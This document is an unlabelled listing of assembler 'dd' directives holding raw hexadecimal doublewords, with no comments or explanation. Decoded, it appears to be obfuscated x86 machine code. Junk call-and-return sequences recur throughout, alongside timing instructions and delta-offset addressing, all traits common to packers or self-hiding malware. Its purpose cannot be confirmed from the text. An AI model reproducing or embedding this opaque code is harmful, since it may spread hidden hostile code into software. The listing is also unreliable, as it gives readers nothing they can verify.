dd 81042474h, 17042444h, 46000000h, 0EDA6C356h, 8B668D73h
dd 810F90FEh, 2, 5050DA8Bh, 8EBB6652h, 5A310F80h, 6A9058h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 8B0065C3h, 1F0C519Dh, 35FF6406h, 0
dd 8964FB8Bh, 25h, 0FFD98B00h, 1F102985h, 53006A06h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0C66C5322h, 11E96Ah, 0A03A0000h, 13BE62FAh, 4A33DB73h
dd 0A9965BD7h, 6AE266F1h, 53006AFFh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0B8EF922Fh
dd 32967240h, 68E0F75h, 8B000000h, 1F1099BDh, 25B5FF06h
dd 6A061F30h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 0CD5EC352h, 0F879D781h, 65BF345Dh
dd 0FF05B607h, 1F1CED95h, 124E906h, 81660000h, 0B09267C3h
dd 0ABD38000h, 8D0970E6h, 61F0AF5h, 0E4F98B66h, 219D8B71h
dd 3C061F1Ch, 0FF830F61h, 0F000000h, 0CF81C8B6h, 56FA3909h
dd 6BAFCh, 9D8B0000h, 61F151Dh, 0EE8C18Bh, 67000000h, 90E018BDh
dd 0FC66A36Bh, 3F8653h, 5BFE8B0Bh, 6604E8C1h, 0D79CF781h
dd 0FE2F766h, 0C82BD9B7h, 242D8D89h, 0D18B061Fh, 0A059D33h
dd 13E9061Fh, 0E8000000h, 0Bh, 38B87774h, 77747621h, 8B2138B8h
dd 858B5FD9h, 61F1D81h, 12B59D89h, 0C083061Fh, 21BD8B07h
dd 0F061F03h, 884h, 860F5200h, 0
dd 0C0835Fh, 8E9h, 65361800h, 9932B29Fh, 0FD03BEFh, 2B83h
dd 5958900h, 0E9061F0Bh, 56h, 0CB81F860h, 44FA89CFh, 12E961h
dd 17620000h, 86E2DD4Dh, 666CF3E8h, 0D7A7DBF7h, 0CD6263EEh
dd 2AD18D8Bh, 0B70F061Fh, 1E183F8h, 24840Fh, 8B660000h
dd 0D1A583F8h, 0FE061F2Ah, 3840Fh, 0DB800000h, 819589CCh
dd 8B061F1Dh, 1F326D9Dh, 0E906h, 0B58D0000h, 622F8CDh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0EBC35242h
dd 0B70FEE13h, 6A006AFAh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 13CAC353h, 830F49DFh
dd 0Bh, 5890Fh, 81660000h, 0FF2890F7h, 1F1D4595h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0FF344745h, 0B690D5D4h, 45B9493Ch, 6A000008h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 574DC355h, 90F607A6h, 50D5E21h, 8D9D8B52h, 5F061F23h
dd 6AFCE183h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 8AD1C353h, 50F936D4h, 6AFC6082h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 715C353h, 153F01FFh, 26B7151Fh, 6AC02Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 7C9D3EC3h, 0DE961h, 75360000h, 5E2743F5h, 0E64A60BBh
dd 2BF6A8BBh, 0A5BD8BD2h, 0AD061F18h, 0E8D1C233h, 0E983D003h
dd 6AF47504h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 0EE47C352h, 0AEC7B193h, 2E9ABF66h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A9C35242h
dd 0DF4D599Bh, 5B8046C3h, 28A0Fh, 0FE8B0000h, 880DDE8Bh
dd 0F8000000h, 0B5D958Bh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 0D6D1E5C3h, 5AFD06FFh
dd 0E9BD895Ah, 8B061F23h, 1F20C58Dh, 9509F906h, 61F14F5h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 1ACAA6C3h, 5BF13AAh, 89DE8B66h, 1F119995h, 8DBD8306h
dd 61F07h, 71840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 83899C3h, 6BF7EEFh, 0A8D0FBDh
dd 60000000h, 0DEC08166h, 0F88B66CDh, 0B861h, 9D010000h
dd 61F2349h, 4DB08D8Dh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 45785BC3h, 0A5858994h
dd 0FF061F06h, 919589E1h, 83061F0Fh, 1F137DBDh, 840F0006h
dd 445h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 84C35747h, 52DBA4A0h, 7FAEEB81h, 835B2E93h, 1F137DBDh
dd 840F0106h, 42Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 0D9C35545h, 0F1DAD586h, 0DE9h, 9993F600h
dd 6A3016AEh, 0CB5E3799h, 0BD8397DAh, 61F137Dh, 0B7860F03h
dd 6A000003h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 4492C355h, 8B4D9F66h, 1F02FDBDh
dd 6A6006h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 0A7A149C3h, 2E789ECDh, 66EFC990h, 6AD98Ch
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0FF5323C3h, 6A04E180h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 0E9D1C353h, 12h, 0A72F4D29h
dd 4D570A3Bh, 0D988099Dh, 0D7FB2C9Eh, 0AF888E2h, 0E2840FC9h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 459FC356h, 4CF81A1h, 8948E284h
dd 1F2FB19Dh, 0C1858B06h, 66061F0Dh, 8533DE8Bh, 61F2EC9h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 4BC35242h
dd 0ED5C26A8h, 1A18D7C1h, 4895050h, 51006A24h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0A4C8BD97h
dd 10E9h, 5097F800h, 0E5396F70h, 0FC842759h, 0D0C6C249h
dd 0E9006AF8h, 8, 52E8740h, 36C52822h, 71001E68h, 171BB88h
dd 4811492h, 0AE03E124h, 859D0377h, 0FF061F0Dh, 1F2DE195h
dd 6850F06h, 89000000h, 1F242D95h, 55858906h, 90622B2h
dd 1F2AED85h, 1D9E906h, 8B660000h, 4D858BFAh, 560622B2h
dd 0BE9h, 5E396600h, 0B7B5F995h, 25A9827Bh, 1800C75Bh
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 4D34C353h, 231A5D0Ch, 14E8h, 8E8FDB00h
dd 2FEBF6E0h, 0DAEF2475h, 2DC92E63h, 0B237442h, 0CE933h
dd 4F7D0000h, 9AC0AE5Bh, 0D4EBC5E7h, 665FABF1h, 1D20F381h
dd 0B251B58Bh, 8BF90622h, 1F13A185h, 8B068906h, 1F2A419Dh
dd 0C1858B06h, 6A061F0Dh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 1651C351h, 1D28AAC1h
dd 0F8A325E5h, 30719D8Bh, 8166061Fh, 8906C2F7h, 0BD890446h
dd 61F0D85h, 96ABD380h, 0B810Fh, 52500000h, 0FD88B66h
dd 5AE6B331h, 13E95058h, 0FF000000h, 0E42A3A9Eh, 58B46BCh
dd 0C009C57Dh, 0AA461AFh, 6A9684FAh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 662CC355h
dd 2BB5DB81h, 0B24DB5FFh, 6A0622h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 0E4163AC3h, 97D0ABD8h
dd 0F3E80F68h, 0FE870h, 3F090000h, 1519DAADh, 0C886C289h
dd 27B70147h, 0F525042h, 8B0F31h, 5A000000h, 34815B58h
dd 0ECEBF024h, 0D5BD2970h, 8D061F2Bh, 22B25585h, 6830F06h
dd 29000000h, 1F3169B5h, 0E19D8B06h, 90061F00h, 0E8525050h
dd 0Eh, 6C64FC31h, 6D3BA0C1h, 0B5F5EF05h, 0AE83C5Bh, 40000000h
dd 0A5E6ECE9h, 51BEB0A8h, 0F5F5BEFh, 0B12BBF31h, 585A7735h
dd 21BD8B90h, 8B061F1Ch, 1F14FD9Dh, 0E195FF06h, 0E9061F2Dh
dd 7, 7AC04ED4h, 6149B5D3h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 7CC35242h, 0EB43999Eh, 3D8CBBFAh, 137D85C7h
dd 3061Fh, 0E3810000h, 3D6D74CEh, 0B255BD83h, 0F000622h
dd 1184h, 39958900h, 0E9061F2Bh, 21h, 0E3D9D8Bh, 3050061Fh
dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h
dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h
dd 0F238BBC0h, 9D8B65A9h, 61F32B9h, 137DBD83h, 0F03061Fh
dd 3DB85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 6DB1998Ch, 81660153h, 836394C3h
dd 22B255BDh, 840F0006h, 3A8h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h
dd 6DC35343h, 2D9D8BE7h, 0BB061F0Eh, 42A19652h, 0B255B5FFh
dd 95890622h, 61F06A9h, 11E9h, 8E113600h, 7E618912h, 0DC358639h
dd 1330D574h, 95FFD8DDh, 61F1BC9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 1CC35747h, 0B58921A3h, 61F08BDh
dd 236DBD8Bh, 0B58B061Fh, 622B249h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0DCC35747h, 8E85AB8Bh, 3160487Eh
dd 1F0A59BDh, 9D8B6106h, 61F0251h, 106C7h, 6A0001h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 1F0093C3h, 96EADE56h, 29BB74DAh, 1F2B019Dh, 6E85006h
dd 2F000000h, 7CA7DA7Bh, 605250D3h, 60310F61h, 5F585A61h
dd 80243489h, 0B5FFC9DBh, 622B255h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 2FC35141h, 12E9h, 0BDD87600h
dd 0EEB39153h, 4E718327h, 0EBDD8CDBh, 0FFA62A4Ch, 1F162195h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 0E5CF80BEh, 0B249B58Bh, 6A0622h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 0BD8B80C3h, 61F1AE5h, 2FF1858Bh, 9D29061Fh, 61F0F95h
dd 0C48689h, 85290000h, 61F2DD1h, 0B5D958Bh, 0CFB3061Fh
dd 5604C283h, 295FD88Bh, 1F15018Dh, 20508906h, 2F41BD89h
dd 858D061Fh, 622C797h, 199D9D89h, 8689061Fh, 0B8h, 11F58589h
dd 6A061Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 0A2C35545h, 31C5B557h, 55B5FFB0h, 890622B2h, 1F06C595h
dd 5595FF06h, 6A061F2Fh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 2A76C357h, 1B919D8Bh
dd 6096061Fh, 0AF91F6B8h, 96506150h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 4DC35646h, 0F607A657h, 8A5E2190h
dd 5E40BBDAh, 0B5FF5BA2h, 622B255h, 0D6E8DB81h, 95FF2055h
dd 61F0E1Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 9EC35242h, 6656168Ch, 8F70F781h, 2C0DBD83h, 0F00061Fh
dd 3984h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 84758F28h, 6660964Ah, 6660C68Bh
dd 6161C38Bh, 0BA666050h, 9661811Fh, 23B9B589h, 0B5FF061Fh
dd 622B255h, 5C59D8Bh, 95FF061Fh, 61F1349h, 14799D8Bh
dd 0B5FF061Fh, 622B255h, 8A0Fh, 95FF0000h, 61F1075h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 94C35343h, 9BD83ECh
dd 2061F00h, 53840Fh, 8A510000h, 858B5FFCh, 61F1751h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 9C35141h, 0E3817383h
dd 6BF7ECA2h, 5899D8Bh, 0C0BB061Fh, 0C65A16B6h, 12E90000h
dd 6E000000h, 221DBF5Bh, 0DE44CA10h, 0A0627C48h, 8070DB12h
dd 9185C765h, 61F12h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 0E4DDC357h, 0FFF356E9h
dd 0BDB589FFh, 8B061F24h, 459D8BC1h, 8D061F2Ch, 1F19BD85h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 938169C1h, 5ABECB92h, 0B1858B60h, 89061F2Ah
dd 1F0B9D95h, 850F6106h, 16h, 11E9h, 0E762B00h, 1C55AB7Bh
dd 8A5A4D42h, 701E336Fh, 6090770Dh, 8E9h, 5CDB7E00h, 0BF401B70h
dd 0EE9A8h, 0D3070000h, 29DFB3B0h, 0CE34986Fh, 9A807FD7h
dd 8B905061h, 1F08DDBDh, 6A006A06h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0B530C7B3h
dd 0B6B160A8h, 0DF816663h, 858D0AE2h, 6238D76h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1AC35646h, 83F987F2h
dd 8B6605C0h, 0BE9D8h, 0DF420000h, 0F6049BEEh, 0D509E067h
dd 85B79073h, 90FE8B50h, 78B6C781h, 6A0742h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 1C35646h, 17A91476h
dd 5DB70FFAh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 0CB1376C3h, 95FFA279h, 61F0161h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 84C35343h
dd 0ABA67370h, 6D9D8B96h, 8D061F00h, 22B1F28Dh, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 60B16EF3h, 49F68166h, 9D8B5731h, 61F2005h, 0D1FF6159h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A8C35646h
dd 84C22737h, 0ABC5A7A9h, 0EF5BD83h, 0F01061Fh, 8585h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 5AAE556Dh, 26AC1B7h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 78C35545h, 0B470EF9Ah, 0D42C7131h
dd 0D88B6650h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0F535C355h, 0FD754E03h
dd 214ED707h, 7A58D89h, 95FF061Fh, 61F2F55h, 17299531h
dd 80E9061Fh, 0E800000Dh, 0
dd 80ED815Dh, 8906238Dh, 1F028D95h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 5FC0D932h
dd 1A25C20Eh, 0B5BD33DBh, 8D061F14h, 228EE485h, 68D0F06h
dd 89000000h, 1F1CF5BDh, 52509006h, 52505250h, 585A310Fh
dd 5F56310Fh, 310F585Ah, 585AF98Bh, 0BCBF6650h, 6A9094h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 59034EC3h, 904CB9E5h, 64AAB2A7h, 35FFh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 0AEB742C3h, 0CC3AB0E4h, 0ECB7EE15h, 18A0Fh, 64F50000h
dd 2589h, 85FF0000h, 61F1029h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 7EC35343h, 0D8B70FA3h, 6880F57h
dd 89000000h, 1F32C59Dh, 0F3815F06h, 3DB075CBh, 6AFF6Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 1EAFBC3h, 0D36EE57Ch, 0DBD0129h, 29061F0Ah, 1F1DBDBDh
dd 0B1B5FF06h, 0E9061F1Eh, 13h, 951D987Eh, 3B1B9986h, 0B49E75Eh
dd 32865CD1h, 0FF9D3E05h, 1F1CED95h, 0EAE906h, 0BD8B0000h
dd 61F2421h, 0E6FC00B0h, 6D9D8970h, 0E4061F12h, 0BD8B5371h
dd 61F0B4Dh, 0F613C5Fh, 0C783h, 0BDCF8100h, 0F5AFD24h
dd 0BD89C8B6h, 61F083Dh, 6BAh, 89C18B00h, 1F15A995h, 4E8C106h
dd 0FA19D09h, 0F766061Fh, 5BF850E2h, 0BF0FC82Bh, 53D18BFBh
dd 0D1BD8B53h, 5B061F05h, 18E95Fh, 13E90000h, 85000000h
dd 714D8363h, 8821D290h, 0FC9F4F61h, 0C622435Ah, 858B3A30h
dd 61F2BA9h, 83FA8B66h, 8B6607C0h, 0C083FBh, 3BD88B66h
dd 11830FD0h, 89000000h, 1F2AD595h, 46E906h, 85290000h
dd 61F05EDh, 0DD58D8Bh, 0BD8B061Fh, 61F05B5h, 0F01E183h
dd 2B84h, 8B666000h, 6830FF8h, 0F000000h, 80h, 0A5836100h
dd 61F0DD5h, 63BB66FEh, 0A995894Dh, 66061F2Bh, 0E9FE7EBFh
dd 0
dd 2E0B58Dh, 6A0623h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 2F0003C3h, 49997470h, 2BF4B485h
dd 1F239D9Dh, 81006A06h, 2B7218F7h, 4595FF57h, 6A061F1Dh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 0BFA2C355h, 3BB953DAh, 6A000008h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0B8A5C352h, 8BC5B3F6h, 0C78166DFh, 0E183AFAFh, 0ED9509FCh
dd 0FC061F20h, 2B01BD8Bh, 0C02B061Fh, 6AD22Bh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 8E44FAC3h, 8B66F88Bh, 0C233ADD9h, 0D003E8D1h, 7504E983h
dd 56006AF4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 4183B7CDh, 8246A57Ch, 0C18501C6h, 6A061F00h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 0F5FC350h, 80h, 880D00h, 0B5290000h, 61F1DCDh
dd 0B5D958Bh, 6660061Fh, 8A44C281h, 0EE9h, 0FAEB4300h
dd 2D3D8CBBh, 6E854B6Eh, 61BA3DB3h, 20C58D8Bh, 6A061Fh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 64287BC3h, 0E8A445C8h, 12h, 95145223h, 180B0A37h, 0CC87BEEEh
dd 0C41E5F50h, 9D89631Ch, 61F06CDh, 9D89515Bh, 61F1BDDh
dd 0C28B505Bh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh
dd 1F2B7D9Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 913EB178h, 0EB942670h, 9D896925h
dd 61F0FFDh, 78DBD83h, 0F00061Fh, 9D84h, 0E1BD8B00h, 0B8061F1Ch
dd 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0FEC35545h
dd 0D08AB59Ah, 0B08D8DF8h, 6A061F4Dh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 5698C357h
dd 0F2F7B751h, 0C23A0662h, 12E9F98Bh, 27000000h, 358E4A18h
dd 89699954h, 6F91572Eh, 0FEDA4090h, 6AE1FFB2h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 0BFCAC353h, 66718B72h, 0DC3FF262h, 0E865D381h, 0BD83029Bh
dd 61F137Dh, 77840F00h, 66000004h, 0BD83DE8Bh, 61F137Dh
dd 82840F01h, 6A000004h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 382DC350h, 0BD833DFCh
dd 61F137Dh, 20860F03h, 89000004h, 1F08F595h, 0B9B76006h
dd 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 29F5C353h, 8B665485h, 4E180FEh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C4C35646h
dd 11840F51h, 0E9000000h, 0Ch, 9356CA8Ah, 235FCBF9h, 83D1E884h
dd 3DBD8B5Fh, 0A061F0Ah, 30840FC9h, 6A000001h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 7669C351h, 8B59132Ch, 1F0DC185h, 0CE906h, 0D64C0000h
dd 1A0EA74Ch, 6E6BADF6h, 853358F9h, 61F2EC9h, 6810Fh, 8D890000h
dd 61F0035h, 5C8CBB50h, 4894937h, 52006A24h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BB66B5A2h
dd 14E8D4C4h, 1A000000h, 3495DB3Dh, 2D523235h, 63E9B15Dh
dd 778AB247h, 5F92777Eh, 0BF66006Ah, 0BF0F95B5h, 0D72B68FEh
dd 8A0FF7A4h, 2, 4815B57h, 7A2CD424h, 50006A08h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 800B92D3h, 76532CB6h, 2DE195FFh, 6A061Fh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 66D145C3h
dd 0EC72F781h, 0B2558589h, 0D3810622h, 4217834Eh, 21DE9h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 0F73B12C0h, 0F4845F16h, 69BD8BCCh, 8B061F31h
dd 22B24D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 2B484348h, 0C72412h, 18h, 24E1B589h
dd 0B58B061Fh, 622B251h, 8BDAB70Fh, 1F13A185h, 52EF8106h
dd 896FB7F4h, 699D8B06h, 8B061F1Bh, 1F0DC185h, 8B60F806h
dd 1F0A8D85h, 35BD2906h, 61061F30h, 6A044689h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 3687C352h, 0DE9DAh, 0EFDD0000h, 2FC9D0BDh, 325F5423h
dd 96A830C4h, 61606056h, 0A3AEBE66h, 8B505F61h, 6A96DAh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 605190C3h, 9D0B5B61h, 61F00EDh, 0FF58D01h, 0B5FF061Fh
dd 622B24Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 77C35343h, 0AFD77ED7h, 0E883941Eh, 4, 1F03FFh
dd 5333BF53h, 505B57FAh, 168F0Fh, 11E90000h, 4C000000h
dd 583094F5h, 0E9A2174h, 103F1697h, 0E6F87481h, 424448Bh
dd 0BF66008Bh, 44895406h, 840F0424h, 19h, 14E9h, 0D88C0800h
dd 24554303h, 9B14984Fh, 431F11Ah, 2DC31C24h, 6A58E4h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 9D8B1AC3h, 61F2B31h, 8E8h, 2590600h, 0F97B2401h, 5F5B51A3h
dd 0B255858Dh, 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 38096DC3h, 0DA368798h, 0CE95014h
dd 36000000h, 606440BAh, 0BA63065Dh, 89EE13EBh, 6A2404h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 80A19BC3h, 95FFA0F3h, 61F2DE1h, 1F198589h, 8B61061Fh
dd 1F310D9Dh, 7D85C706h, 3061F13h, 31000000h, 1F1709B5h
dd 55BD8306h, 622B2h, 65840Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 52EEE8C3h
dd 5FFE8B66h, 59E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 0C00A6A83h, 0F5BFC366h
dd 6E95105h, 0A6000000h, 4C2C0919h, 8E95FB5h, 9E000000h
dd 7372B7E6h, 50D14C28h, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 0C781C08Bh, 7DF9CE7Dh, 0BD838DB3h
dd 61F137Dh, 0D5850F03h, 6A000003h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0AD67C356h
dd 558D8B60h, 0E9061F0Ch, 0Ah, 0C225BADDh, 0DC4FA80Ah
dd 83615CD6h, 22B255BDh, 840F0006h, 394h, 0CD9BD89h, 0B5FF061Fh
dd 622B255h, 2F41B589h, 95FF061Fh, 61F1BC9h, 8B3FCB80h
dd 22B249B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1504h, 0C3504000h, 8D893CAFh, 61F2351h, 2E859D8Bh, 6C7061Fh
dd 10001h, 0ECD0DF81h, 6650644Ch, 3489DF8Bh, 28D0F24h
dd 0B3000000h, 55B5FFF0h, 6A0622B2h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0A6ABC357h
dd 0D8ECFB13h, 89FFDAE3h, 1F2A51B5h, 2195FF06h, 0F061F16h
dd 83h, 49B58B00h, 0E90622B2h, 10h, 2EA405A0h, 8832DB04h
dd 4A5F5C58h, 926A5B5Bh, 8BB8E780h, 1F2FF185h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 199D89FFh, 89061F1Dh, 0C486h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0A7538BC4h
dd 0BD037DDFh, 61F0D45h, 0B5D958Bh, 6A061Fh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E3D967C3h
dd 669743A5h, 835D3FBBh, 958904C2h, 61F1F35h, 66205089h
dd 8DDB4BBFh, 22C79785h, 0B8868906h, 0E9000000h, 12h, 0B61883C0h
dd 0CF15AFB4h, 0D8464BB1h, 703B25EDh, 870FCE20h, 6, 9A59D03h
dd 6A061Fh, 14E9h, 824B5D00h, 89558659h, 77CB5102h, 9182D3D9h
dd 0D55C2EECh, 719D8928h, 0FF061F08h, 22B255B5h, 66F7B306h
dd 5FDC781h, 2F5595FFh, 8B60061Fh, 1F18B595h, 61C18B06h
dd 1A800F50h, 0E8000000h, 5, 4E63BA2Bh, 9E895h, 0A1220000h
dd 0B10F3BCAh, 5B412E8Bh, 2434895Bh, 0B255B5FFh, 6A0622h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 4B64B9C3h, 31CDE04Bh, 661A9188h, 37B2DB81h, 0E1D95FFh
dd 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0EA5CD5C3h, 0C343F15Ch, 0F60474Ah, 1880h
dd 13E900h, 0D7600000h, 490F63B1h, 7674E763h, 0A8B9F941h
dd 0AD554254h, 59F85608h
dd 0DBD8361h, 61F2Ch, 2A840Fh, 50960000h, 6741BF66h, 56006A96h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 74B007Fh, 6E34BB66h, 0B255B5FFh, 95FF0622h, 61F1349h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 81C35141h
dd 0FE823DEh, 1B000000h, 0CE02F412h, 3374D2D5h, 4B64B98Dh
dd 0F380E04Bh, 0B5FF5BC7h, 622B255h, 95FFD98Bh, 61F1075h
dd 1B0D8589h, 0BD83061Fh, 61F0009h, 66840F02h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
